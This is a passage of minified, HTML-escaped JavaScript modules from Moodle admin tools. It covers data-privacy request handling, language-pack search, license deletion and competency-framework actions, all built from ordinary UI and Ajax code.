i.fa&quot;).addClass(CLASSES_EXPAND),thisnode.find(&quot;:header img.icon&quot;).attr(&quot;src&quot;,collapsedImage.attr(&quot;src&quot;)))},expandCollapseAll:function(nextstate){var currentstate=&quot;visible&quot;==nextstate?&quot;hide&quot;:&quot;visible&quot;,ariaexpandedstate=&quot;visible&quot;==nextstate,iconclassnow=&quot;visible&quot;==nextstate?CLASSES_EXPAND:CLASSES_COLLAPSE,iconclassnext=&quot;visible&quot;==nextstate?CLASSES_COLLAPSE:CLASSES_EXPAND,imagenow=&quot;visible&quot;==nextstate?expandedImage.attr(&quot;src&quot;):collapsedImage.attr(&quot;src&quot;);$(&quot;.&quot;+currentstate).each((function(){$(this).removeClass(currentstate),$(this).addClass(nextstate),$(this).attr(&quot;aria-expanded&quot;,ariaexpandedstate)})),$(&quot;.tool_dataprivacy-expand-all&quot;).data(&quot;visibilityState&quot;,currentstate),str.get_string(currentstate,&quot;tool_dataprivacy&quot;).then((function(langString){$(&quot;.tool_dataprivacy-expand-all&quot;).html(langString)})).catch(Notification.exception),$(&quot;:header i.fa&quot;).each((function(){$(this).removeClass(iconclassnow),$(this).addClass(iconclassnext)})),$(&quot;:header img.icon&quot;).each((function(){$(this).attr(&quot;src&quot;,imagenow)}))}}}));
/**
 * Request actions.
 *
 * @module     tool_dataprivacy/requestactions
 * @copyright  2018 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/requestactions&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/templates&quot;,&quot;tool_dataprivacy/data_request_modal&quot;,&quot;tool_dataprivacy/events&quot;],(function($,Ajax,Notification,Str,ModalFactory,ModalEvents,Templates,ModalDataRequest,DataPrivacyEvents){var ACTIONS_APPROVE_REQUEST=&#039;[data-action=&quot;approve&quot;]&#039;,ACTIONS_DENY_REQUEST=&#039;[data-action=&quot;deny&quot;]&#039;,ACTIONS_VIEW_REQUEST=&#039;[data-action=&quot;view&quot;]&#039;,ACTIONS_MARK_COMPLETE=&#039;[data-action=&quot;complete&quot;]&#039;,ACTIONS_CONFIRM_BULK_ACTION=&#039;[id=&quot;confirm-bulk-action&quot;]&#039;,ACTIONS_SELECT_ALL=&#039;[data-action=&quot;selectall&quot;]&#039;,BULK_ACTIONS_APPROVE=1,BULK_ACTIONS_DENY=2,SELECTORS_SELECT_REQUEST=&quot;.selectrequests&quot;,RequestActions=function(){this.registerEvents()};function approveEventWsData(requestId){return{wsfunction:&quot;tool_dataprivacy_approve_data_request&quot;,wsparams:{requestid:requestId}}}function denyEventWsData(requestId){return{wsfunction:&quot;tool_dataprivacy_deny_data_request&quot;,wsparams:{requestid:requestId}}}function showConfirmation(action,wsdata){var keys=[];switch(action){case DataPrivacyEvents.approve:keys=[{key:&quot;approverequest&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;confirmapproval&quot;,component:&quot;tool_dataprivacy&quot;}];break;case DataPrivacyEvents.bulkApprove:keys=[{key:&quot;bulkapproverequests&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;confirmbulkapproval&quot;,component:&quot;tool_dataprivacy&quot;}];break;case DataPrivacyEvents.deny:keys=[{key:&quot;denyrequest&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;confirmdenial&quot;,component:&quot;tool_dataprivacy&quot;}];break;case DataPrivacyEvents.bulkDeny:keys=[{key:&quot;bulkdenyrequests&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;confirmbulkdenial&quot;,component:&quot;tool_dataprivacy&quot;}];break;case DataPrivacyEvents.complete:keys=[{key:&quot;markcomplete&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;confirmcompletion&quot;,component:&quot;tool_dataprivacy&quot;}]}var modalTitle=&quot;&quot;;Str.get_strings(keys).then((function(langStrings){modalTitle=langStrings[0];var confirmMessage=langStrings[1];return ModalFactory.create({title:modalTitle,body:confirmMessage,type:ModalFactory.types.SAVE_CANCEL})})).then((function(modal){modal.setSaveButtonText(modalTitle),modal.getRoot().on(ModalEvents.save,(function(){handleSave(wsdata.wsfunction,wsdata.wsparams)})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal.show()})).catch(Notification.exception)}function handleSave(wsfunction,params){var request={methodname:wsfunction,args:params};Ajax.call([request])[0].done((function(data){data.result?window.location.reload():Notification.addNotification({message:data.warnings[0].message,type:&quot;error&quot;})})).fail(Notification.exception)}return RequestActions.prototype.registerEvents=function(){$(ACTIONS_VIEW_REQUEST).click((function(e){e.preventDefault();var requestId=$(this).data(&quot;requestid&quot;),request={methodname:&quot;tool_dataprivacy_get_data_request&quot;,args:{requestid:requestId}},promises=Ajax.call([request]);$.when(promises[0]).then((function(data){return data.result?data.result:(Notification.addNotification({message:data.warnings[0].message,type:&quot;error&quot;}),!1)})).then((function(data){var body=Templates.render(&quot;tool_dataprivacy/request_details&quot;,data),templateContext={approvedeny:data.approvedeny,canmarkcomplete:data.canmarkcomplete};return ModalFactory.create({title:data.typename,body:body,type:ModalDataRequest.TYPE,large:!0,templateContext:templateContext})})).then((function(modal){modal.getRoot().on(DataPrivacyEvents.approve,(function(){showConfirmation(DataPrivacyEvents.approve,approveEventWsData(requestId))})),modal.getRoot().on(DataPrivacyEvents.deny,(function(){showConfirmation(DataPrivacyEvents.deny,denyEventWsData(requestId))})),modal.getRoot().on(DataPrivacyEvents.complete,(function(){handleSave(&quot;tool_dataprivacy_mark_complete&quot;,{requestid:requestId})})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal.show()})).catch(Notification.exception)})),$(ACTIONS_APPROVE_REQUEST).click((function(e){e.preventDefault();var requestId=$(this).data(&quot;requestid&quot;);showConfirmation(DataPrivacyEvents.approve,approveEventWsData(requestId))})),$(ACTIONS_DENY_REQUEST).click((function(e){e.preventDefault();var requestId=$(this).data(&quot;requestid&quot;);showConfirmation(DataPrivacyEvents.deny,denyEventWsData(requestId))})),$(ACTIONS_MARK_COMPLETE).click((function(e){e.preventDefault();var requestId=$(this).data(&quot;requestid&quot;);showConfirmation(DataPrivacyEvents.complete,function(requestId){return{wsfunction:&quot;tool_dataprivacy_mark_complete&quot;,wsparams:{requestid:requestId}}}(requestId))})),$(ACTIONS_CONFIRM_BULK_ACTION).click((function(){var requestIds=[],actionEvent=&quot;&quot;,wsdata={},bulkActionKeys=[{key:&quot;selectbulkaction&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;selectdatarequests&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;ok&quot;}],bulkaction=parseInt($(&quot;#bulk-action&quot;).val());if(bulkaction==BULK_ACTIONS_APPROVE||bulkaction==BULK_ACTIONS_DENY)if($(&quot;.selectrequests:checked&quot;).each((function(){requestIds.push($(this).val())})),requestIds.length&lt;1)Str.get_strings(bulkActionKeys).done((function(langStrings){Notification.alert(&quot;&quot;,langStrings[1],langStrings[2])})).fail(Notification.exception);else{switch(bulkaction){case BULK_ACTIONS_APPROVE:actionEvent=DataPrivacyEvents.bulkApprove,wsdata=function(requestIds){return{wsfunction:&quot;tool_dataprivacy_bulk_approve_data_requests&quot;,wsparams:{requestids:requestIds}}}(requestIds);break;case BULK_ACTIONS_DENY:actionEvent=DataPrivacyEvents.bulkDeny,wsdata=function(requestIds){return{wsfunction:&quot;tool_dataprivacy_bulk_deny_data_requests&quot;,wsparams:{requestids:requestIds}}}(requestIds)}showConfirmation(actionEvent,wsdata)}else Str.get_strings(bulkActionKeys).done((function(langStrings){Notification.alert(&quot;&quot;,langStrings[0],langStrings[2])})).fail(Notification.exception)})),$(ACTIONS_SELECT_ALL).change((function(e){e.preventDefault();var selectAll=$(this).is(&quot;:checked&quot;);$(SELECTORS_SELECT_REQUEST).prop(&quot;checked&quot;,selectAll)}))},RequestActions}));
/**
 * Request actions.
 *
 * @module     tool_dataprivacy/data_request_modal
 * @copyright  2018 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/data_request_modal&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/modal&quot;,&quot;core/modal_registry&quot;,&quot;tool_dataprivacy/events&quot;],(function($,Notification,CustomEvents,Modal,ModalRegistry,DataPrivacyEvents){var registered=!1,SELECTORS_APPROVE_BUTTON=&#039;[data-action=&quot;approve&quot;]&#039;,SELECTORS_DENY_BUTTON=&#039;[data-action=&quot;deny&quot;]&#039;,SELECTORS_COMPLETE_BUTTON=&#039;[data-action=&quot;complete&quot;]&#039;,ModalDataRequest=function(root){Modal.call(this,root)};return ModalDataRequest.TYPE=&quot;tool_dataprivacy-data_request&quot;,(ModalDataRequest.prototype=Object.create(Modal.prototype)).constructor=ModalDataRequest,ModalDataRequest.prototype.registerEventListeners=function(){Modal.prototype.registerEventListeners.call(this),this.getModal().on(CustomEvents.events.activate,SELECTORS_APPROVE_BUTTON,function(e,data){var approveEvent=$.Event(DataPrivacyEvents.approve);this.getRoot().trigger(approveEvent,this),approveEvent.isDefaultPrevented()||(this.hide(),data.originalEvent.preventDefault())}.bind(this)),this.getModal().on(CustomEvents.events.activate,SELECTORS_DENY_BUTTON,function(e,data){var denyEvent=$.Event(DataPrivacyEvents.deny);this.getRoot().trigger(denyEvent,this),denyEvent.isDefaultPrevented()||(this.hide(),data.originalEvent.preventDefault())}.bind(this)),this.getModal().on(CustomEvents.events.activate,SELECTORS_COMPLETE_BUTTON,function(e,data){var completeEvent=$.Event(DataPrivacyEvents.complete);this.getRoot().trigger(completeEvent,this),completeEvent.isDefaultPrevented()||(this.hide(),data.originalEvent.preventDefault())}.bind(this))},registered||(ModalRegistry.register(ModalDataRequest.TYPE,ModalDataRequest,&quot;tool_dataprivacy/data_request_modal&quot;),registered=!0),ModalDataRequest}));
/**
 * AMD module for purposes actions.
 *
 * @module     tool_dataprivacy/purposesactions
 * @copyright  2018 David Monllao
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/purposesactions&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;],(function($,Ajax,Notification,Str,ModalFactory,ModalEvents){var ACTIONS_DELETE=&#039;[data-action=&quot;deletepurpose&quot;]&#039;,PurposesActions=function(){this.registerEvents()};return PurposesActions.prototype.registerEvents=function(){$(ACTIONS_DELETE).click((function(e){e.preventDefault();var id=$(this).data(&quot;id&quot;),stringkeys=[{key:&quot;deletepurpose&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;deletepurposetext&quot;,component:&quot;tool_dataprivacy&quot;,param:$(this).data(&quot;name&quot;)},{key:&quot;delete&quot;}];Str.get_strings(stringkeys).then((function(langStrings){var title=langStrings[0],confirmMessage=langStrings[1],buttonText=langStrings[2];return ModalFactory.create({title:title,body:confirmMessage,type:ModalFactory.types.SAVE_CANCEL}).then((function(modal){return modal.setSaveButtonText(buttonText),modal.getRoot().on(ModalEvents.save,(function(){var request={methodname:&quot;tool_dataprivacy_delete_purpose&quot;,args:{id:id}};Ajax.call([request])[0].done((function(data){data.result?$(&#039;tr[data-purposeid=&quot;&#039;+id+&#039;&quot;]&#039;).remove():Notification.addNotification({message:data.warnings[0].message,type:&quot;error&quot;})})).fail(Notification.exception)})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal}))})).done((function(modal){modal.show()})).fail(Notification.exception)}))},{init:function(){return new PurposesActions}}}));
/**
 * Request actions.
 *
 * @module     tool_dataprivacy/data_registry
 * @copyright  2018 David Monllao
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/data_registry&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/fragment&quot;,&quot;tool_dataprivacy/add_purpose&quot;,&quot;tool_dataprivacy/add_category&quot;],(function($,Str,Ajax,Notification,Templates,ModalFactory,ModalEvents,Fragment,AddPurpose,AddCategory){var SELECTORS_TREE_NODES=&quot;[data-context-tree-node=1]&quot;,SELECTORS_FORM_CONTAINER=&quot;#context-form-container&quot;,DataRegistry=function(systemContextId,initContextLevel,initContextId){this.systemContextId=systemContextId,this.currentContextLevel=initContextLevel,this.currentContextId=initContextId,this.init()};return DataRegistry.prototype.systemContextId=0,DataRegistry.prototype.currentContextLevel=0,DataRegistry.prototype.currentContextId=0,DataRegistry.prototype.addpurpose=null,DataRegistry.prototype.addcategory=null,DataRegistry.prototype.init=function(){this.addpurpose=AddPurpose.getInstance(this.systemContextId),this.addcategory=AddCategory.getInstance(this.systemContextId);this.strings=Str.get_strings([{key:&quot;changessaved&quot;,component:&quot;moodle&quot;},{key:&quot;contextpurposecategorysaved&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;noblockstoload&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;noactivitiestoload&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;nocoursestoload&quot;,component:&quot;tool_dataprivacy&quot;}]),this.registerEventListeners(),this.currentContextId?this.loadForm(&quot;context_form&quot;,[this.currentContextId],this.submitContextFormAjax.bind(this)):this.loadForm(&quot;contextlevel_form&quot;,[this.currentContextLevel],this.submitContextLevelFormAjax.bind(this))},DataRegistry.prototype.registerEventListeners=function(){$(SELECTORS_TREE_NODES).on(&quot;click&quot;,function(ev){ev.preventDefault();var trigger=$(ev.currentTarget);$(SELECTORS_TREE_NODES).removeClass(&quot;active&quot;),trigger.addClass(&quot;active&quot;);var contextLevel=trigger.data(&quot;contextlevel&quot;),contextId=trigger.data(&quot;contextid&quot;);if(contextLevel)window.history.pushState({},null,&quot;?contextlevel=&quot;+contextLevel),this.addpurpose.removeListeners(),this.addcategory.removeListeners(),this.currentContextLevel=contextLevel,this.loadForm(&quot;contextlevel_form&quot;,[this.currentContextLevel],this.submitContextLevelFormAjax.bind(this));else if(contextId)window.history.pushState({},null,&quot;?contextid=&quot;+contextId),this.addpurpose.removeListeners(),this.addcategory.removeListeners(),this.currentContextId=contextId,this.loadForm(&quot;context_form&quot;,[this.currentContextId],this.submitContextFormAjax.bind(this));else{var expandContextId=trigger.data(&quot;expandcontextid&quot;),expandElement=trigger.data(&quot;expandelement&quot;),expanded=trigger.data(&quot;expanded&quot;);expandElement&amp;&amp;(expanded?this.collapse(trigger):!trigger.data(&quot;loaded&quot;)&amp;&amp;expandContextId&amp;&amp;expandElement?(trigger.find(&quot;&gt; i&quot;).removeClass(&quot;fa-plus&quot;),trigger.find(&quot;&gt; i&quot;).addClass(&quot;fa-circle-o-notch fa-spin&quot;),this.loadExtra(trigger,expandContextId,expandElement)):this.expand(trigger))}}.bind(this))},DataRegistry.prototype.removeListeners=function(){$(SELECTORS_TREE_NODES).off(&quot;click&quot;)},DataRegistry.prototype.loadForm=function(fragmentName,fragmentArgs,formSubmitCallback){this.clearForm(),Fragment.loadFragment(&quot;tool_dataprivacy&quot;,fragmentName,this.systemContextId,fragmentArgs).done(function(html,js){$(SELECTORS_FORM_CONTAINER).html(html),Templates.runTemplateJS(js),this.addpurpose.registerEventListeners(),this.addcategory.registerEventListeners(),$(SELECTORS_FORM_CONTAINER).on(&quot;submit&quot;,&quot;form&quot;,formSubmitCallback)}.bind(this)).fail(Notification.exception)},DataRegistry.prototype.clearForm=function(){$(SELECTORS_FORM_CONTAINER).off(&quot;submit&quot;,&quot;form&quot;)},DataRegistry.prototype.submitForm=function(e){e.preventDefault(),$(SELECTORS_FORM_CONTAINER).find(&quot;form&quot;).submit()},DataRegistry.prototype.submitContextLevelFormAjax=function(e){this.submitFormAjax(e,&quot;tool_dataprivacy_set_contextlevel_form&quot;)},DataRegistry.prototype.submitContextFormAjax=function(e){this.submitFormAjax(e,&quot;tool_dataprivacy_set_context_form&quot;)},DataRegistry.prototype.submitFormAjax=function(e,saveMethodName){e.preventDefault();var formData=$(SELECTORS_FORM_CONTAINER).find(&quot;form&quot;).serialize();return this.strings.then((function(strings){Ajax.call([{methodname:saveMethodName,args:{jsonformdata:JSON.stringify(formData)},done:function(){Notification.alert(strings[0],strings[1])},fail:Notification.exception}])})).catch(Notification.exception)},DataRegistry.prototype.loadExtra=function(parentNode,expandContextId,expandElement){Ajax.call([{methodname:&quot;tool_dataprivacy_tree_extra_branches&quot;,args:{contextid:expandContextId,element:expandElement},done:function(data){0!=data.branches.length?Templates.render(&quot;tool_dataprivacy/context_tree_branches&quot;,data).then(function(html){parentNode.after(html),this.removeListeners(),this.registerEventListeners(),this.expand(parentNode),parentNode.data(&quot;loaded&quot;,1)}.bind(this)).fail(Notification.exception):this.noElements(parentNode,expandElement)}.bind(this),fail:Notification.exception}])},DataRegistry.prototype.noElements=function(node,expandElement){node.data(&quot;expandcontextid&quot;,&quot;&quot;),node.data(&quot;expandelement&quot;,&quot;&quot;),this.strings.then((function(strings){var key=2;&quot;module&quot;==expandElement?key=3:&quot;course&quot;==expandElement&amp;&amp;(key=4),node.text(strings[key])})).fail(Notification.exception)},DataRegistry.prototype.collapse=function(node){node.data(&quot;expanded&quot;,0),node.siblings(&quot;nav&quot;).addClass(&quot;hidden&quot;),node.find(&quot;&gt; i&quot;).removeClass(&quot;fa-minus&quot;),node.find(&quot;&gt; i&quot;).addClass(&quot;fa-plus&quot;)},DataRegistry.prototype.expand=function(node){node.data(&quot;expanded&quot;,1),node.siblings(&quot;nav&quot;).removeClass(&quot;hidden&quot;),node.find(&quot;&gt; i&quot;).removeClass(&quot;fa-plus&quot;),node.find(&quot;&gt; i&quot;).removeClass(&quot;fa-circle-o-notch fa-spin&quot;),node.find(&quot;&gt; i&quot;).addClass(&quot;fa-minus&quot;)},{init:function(systemContextId,initContextLevel,initContextId){return new DataRegistry(systemContextId,initContextLevel,initContextId)}}}));
/**
 * JS module for the data requests filter.
 *
 * @module     tool_dataprivacy/request_filter
 * @copyright  2018 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/request_filter&quot;,[&quot;jquery&quot;,&quot;core/form-autocomplete&quot;,&quot;core/str&quot;,&quot;core/notification&quot;],(function($,Autocomplete,Str,Notification){var SELECTORS_REQUEST_FILTERS=&quot;#request-filters&quot;;return{init:function(){!function(){Str.get_strings([{key:&quot;filter&quot;,component:&quot;moodle&quot;},{key:&quot;nofiltersapplied&quot;,component:&quot;moodle&quot;}]).then((function(langstrings){var placeholder=langstrings[0],noSelectionString=langstrings[1];return Autocomplete.enhance(SELECTORS_REQUEST_FILTERS,!1,&quot;&quot;,placeholder,!1,!0,noSelectionString,!0)})).fail(Notification.exception);var last=$(SELECTORS_REQUEST_FILTERS).val();$(SELECTORS_REQUEST_FILTERS).on(&quot;change&quot;,(function(){var current=$(this).val();last.join(&quot;,&quot;)!==current.join(&quot;,&quot;)&amp;&amp;(0===current.length&amp;&amp;$(&quot;#filters-cleared&quot;).val(1),$(this.form).submit())}))}()}}}));
define(&quot;tool_langimport/search&quot;,[&quot;exports&quot;,&quot;core/pending&quot;,&quot;core/utils&quot;],(function(_exports,_pending,_utils){var obj;
/**
   * Add search filtering of available language packs
   *
   * @module      tool_langimport/search
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_pending=(obj=_pending)&amp;&amp;obj.__esModule?obj:{default:obj};const SELECTORS_AVAILABLE_LANG_SELECT=&quot;select&quot;,SELECTORS_AVAILABLE_LANG_SEARCH=&#039;[data-action=&quot;search&quot;]&#039;;var _default={init:form=&gt;{const availableLangsElement=form.querySelector(SELECTORS_AVAILABLE_LANG_SELECT),availableLangsFilter=event=&gt;{const pendingPromise=new _pending.default(&quot;tool_langimport/search:filter&quot;);availableLangsElement.querySelectorAll(&quot;option&quot;).forEach((option=&gt;{option.remove()}));const searchTerm=event.target.value.toLowerCase(),availableLanguages=JSON.parse(availableLangsElement.dataset.availableLanguages),filteredLanguages=Object.keys(availableLanguages).reduce(((matches,langcode)=&gt;(availableLanguages[langcode].toLowerCase().includes(searchTerm)&amp;&amp;(matches[langcode]=availableLanguages[langcode]),matches)),[]);Object.entries(filteredLanguages).forEach((_ref=&gt;{let[langcode,langname]=_ref;const option=document.createElement(&quot;option&quot;);option.value=langcode,option.innerText=langname,availableLangsElement.append(option)})),pendingPromise.resolve()},availableLanguages={};availableLangsElement.querySelectorAll(&quot;option&quot;).forEach((option=&gt;{availableLanguages[option.value]=option.text})),availableLangsElement.dataset.availableLanguages=JSON.stringify(availableLanguages);const availableLangsSearch=form.querySelector(SELECTORS_AVAILABLE_LANG_SEARCH);availableLangsSearch.addEventListener(&quot;keydown&quot;,(event=&gt;{&quot;Enter&quot;===event.key&amp;&amp;event.preventDefault()})),availableLangsSearch.addEventListener(&quot;keyup&quot;,(event=&gt;{const pendingPromise=new _pending.default(&quot;tool_langimport/search:keyup&quot;);(0,_utils.debounce)(availableLangsFilter,250)(event),setTimeout((()=&gt;{pendingPromise.resolve()}),250)}))}};return _exports.default=_default,_exports.default}));
/**
 * Modal for confirming deletion of a custom license.
 *
 * @module     tool_licensemanager/delete_license
 * @copyright  2019 Tom Dickman &lt;tomdickman@catalyst-au.net&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_licensemanager/delete_license&quot;,[&quot;jquery&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/url&quot;,&quot;core/str&quot;],(function($,ModalFactory,ModalEvents,Url,String){var trigger=$(&quot;.delete-license&quot;);ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL,title:String.get_string(&quot;deletelicense&quot;,&quot;tool_licensemanager&quot;),body:String.get_string(&quot;deletelicenseconfirmmessage&quot;,&quot;tool_licensemanager&quot;),preShowCallback:function(triggerElement,modal){let params={action:&quot;delete&quot;,license:(triggerElement=$(triggerElement)).data(&quot;license&quot;)};modal.deleteURL=Url.relativeUrl(&quot;/admin/tool/licensemanager/index.php&quot;,params,!0)},large:!0},trigger).done((function(modal){modal.getRoot().on(ModalEvents.save,(function(e){e.preventDefault(),window.location.href=modal.deleteURL}))}))}));
/**
 * Competency frameworks actions via ajax.
 *
 * @module     tool_lp/frameworkactions
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/frameworkactions&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/str&quot;],(function($,templates,ajax,notification,str){var pagecontextid=0,frameworkid=0,updatePage=function(newhtml,newjs){$(&#039;[data-region=&quot;managecompetencies&quot;]&#039;).replaceWith(newhtml),templates.runTemplateJS(newjs)},reloadList=function(context){templates.render(&quot;tool_lp/manage_competency_frameworks_page&quot;,context).done(updatePage).fail(notification.exception)},doDelete=function(){var requests=ajax.call([{methodname:&quot;core_competency_delete_competency_framework&quot;,args:{id:frameworkid}},{methodname:&quot;tool_lp_data_for_competency_frameworks_manage_page&quot;,args:{pagecontext:{contextid:pagecontextid}}}]);requests[0].done((function(success){!1===success&amp;&amp;ajax.call([{methodname:&quot;core_competency_read_competency_framework&quot;,args:{id:frameworkid}}])[0].done((function(framework){str.get_strings([{key:&quot;frameworkcannotbedeleted&quot;,component:&quot;tool_lp&quot;,param:framework.shortname},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.alert(null,strings[0])})).fail(notification.exception)}))})).fail(notification.exception),requests[1].done(reloadList).fail(notification.exception)};return{deleteHandler:function(e){e.preventDefault();var id=$(this).attr(&quot;data-frameworkid&quot;);frameworkid=id,ajax.call([{methodname:&quot;core_competency_read_competency_framework&quot;,args:{id:frameworkid}}])[0].done((function(framework){str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;deletecompetencyframework&quot;,component:&quot;tool_lp&quot;,param:framework.shortname},{key:&quot;delete&quot;,component:&quot;moodle&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.confirm(strings[0],strings[1],strings[2],strings[3],doDelete)})).fail(notification.exception)})).fail(notification.exception)},duplicateHandler:function(e){e.preventDefault(),frameworkid=$(this).attr(&quot;data-frameworkid&quot;),ajax.call([{methodname:&quot;core_competency_duplicate_competency_framework&quot;,args:{id:frameworkid}},{methodname:&quot;tool_lp_data_for_competency_frameworks_manage_page&quot;,args:{pagecontext:{contextid:pagecontextid}}}])[1].done(reloadList).fail(notification.exception)},init:function(contextid){pagecontextid=contextid}}}));
/**
 * Event click on selecting competency in the competency autocomplete.
 *
 * @module     tool_lp/competency_plan_navigation
 * @copyright  2016 Issam Taboubi &lt;issam.taboubi@umontreal.ca&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/competency_plan_navigation&quot;,[&quot;jquery&quot;],(function($){var CompetencyPlanNavigation=function(competencySelector,baseUrl,userId,competencyId,planId){this._baseUrl=baseUrl,this._userId=userId+&quot;&quot;,this._competencyId=competencyId+&quot;&quot;,this._planId=planId,this._ignoreFirstCompetency=!0,$(competencySelector).on(&quot;change&quot;,this._competencyChanged.bind(this))};return CompetencyPlanNavigation.prototype._competencyChanged=function(e){if(this._ignoreFirstCompetency)this._ignoreFirstCompetency=!1;else{var newCompetencyId=$(e.target).val(),queryStr=&quot;?userid=&quot;+this._userId+&quot;&amp;planid=&quot;+this._planId+&quot;&amp;competencyid=&quot;+newCompetencyId;document.location=this._baseUrl+queryStr}},CompetencyPlanNavigation.prototype._competencyId=null,CompetencyPlanNavigation.prototype._userId=null,CompetencyPlanNavigation.prototype._planId=null,CompetencyPlanNavigation.prototype._baseUrl=null,CompetencyPlanNavigation.prototype._ignoreFirstCompetency=null,CompetencyPlanNavigation}));
/**
 * Action selector.
 *
 * To handle &#039;save&#039; events use: actionselector.on(&#039;save&#039;)
 * This will receive the information to display in popup.
 * The actions have the format [{&#039;text&#039;: sometext, &#039;value&#039; : somevalue}].
 *
 * @module     tool_lp/actionselector
 * @copyright  2016 Serge Gauthier - &lt;serge.gauthier.2@umontreal.ca&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/actionselector&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;tool_lp/dialogue&quot;,&quot;tool_lp/event_base&quot;],(function($,Notification,Ajax,Templates,Dialogue,EventBase){var ActionSelector=function(title,message,actions,confirm,cancel){EventBase.prototype.constructor.apply(this,[]),this._title=title,this._message=message,this._actions=actions,this._confirm=confirm,this._cancel=cancel,this._selectedValue=null,this._reset()};return(ActionSelector.prototype=Object.create(EventBase.prototype))._selectedValue=null,ActionSelector.prototype._popup=null,ActionSelector.prototype._title=null,ActionSelector.prototype._message=null,ActionSelector.prototype._actions=null,ActionSelector.prototype._confirm=null,ActionSelector.prototype._cancel=null,ActionSelector.prototype._afterRender=function(){var self=this;self._find(&#039;[data-action=&quot;action-selector-confirm&quot;]&#039;).attr(&quot;disabled&quot;,&quot;disabled&quot;),self._find(&#039;[data-region=&quot;action-selector-radio-buttons&quot;]&#039;).change((function(){self._selectedValue=$(&quot;input[type=&#039;radio&#039;]:checked&quot;).val(),self._find(&#039;[data-action=&quot;action-selector-confirm&quot;]&#039;).removeAttr(&quot;disabled&quot;),self._refresh.bind(self)})),self._find(&#039;[data-action=&quot;action-selector-cancel&quot;]&#039;).click((function(e){e.preventDefault(),self.close()})),self._find(&#039;[data-action=&quot;action-selector-confirm&quot;]&#039;).click((function(e){e.preventDefault(),self._selectedValue.length&amp;&amp;(self._trigger(&quot;save&quot;,{action:self._selectedValue}),self.close())}))},ActionSelector.prototype.close=function(){this._popup.close(),this._reset()},ActionSelector.prototype.display=function(){var self=this;return self._render().then((function(html){self._popup=new Dialogue(self._title,html,self._afterRender.bind(self))})).fail(Notification.exception)},ActionSelector.prototype._find=function(selector){return $(this._popup.getContent()).find(selector)},ActionSelector.prototype._refresh=function(){var self=this;return self._render().then((function(html){self._find(&#039;[data-region=&quot;action-selector&quot;]&#039;).replaceWith(html),self._afterRender()}))},ActionSelector.prototype._render=function(){var choices=[];for(var i in this._actions)choices.push(this._actions[i]);var content={message:this._message,choices:choices,confirm:this._confirm,cancel:this._cancel};return Templates.render(&quot;tool_lp/action_selector&quot;,content)},ActionSelector.prototype._reset=function(){this._popup=null,this._selectedValue=&quot;&quot;},ActionSelector}));
/**
 * Implement an accessible aria tree widget, from a nested unordered list.
 * Based on http://oaa-accessibility.org/example/41/
 *
 * To respond to selection changed events - use tree.on(&quot;selectionchanged&quot;, handler).
 * The handler will receive an array of nodes, which are the list items that are currently
 * selected. (Or a single node if multiselect is disabled).
 *
 * @module     tool_lp/tree
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
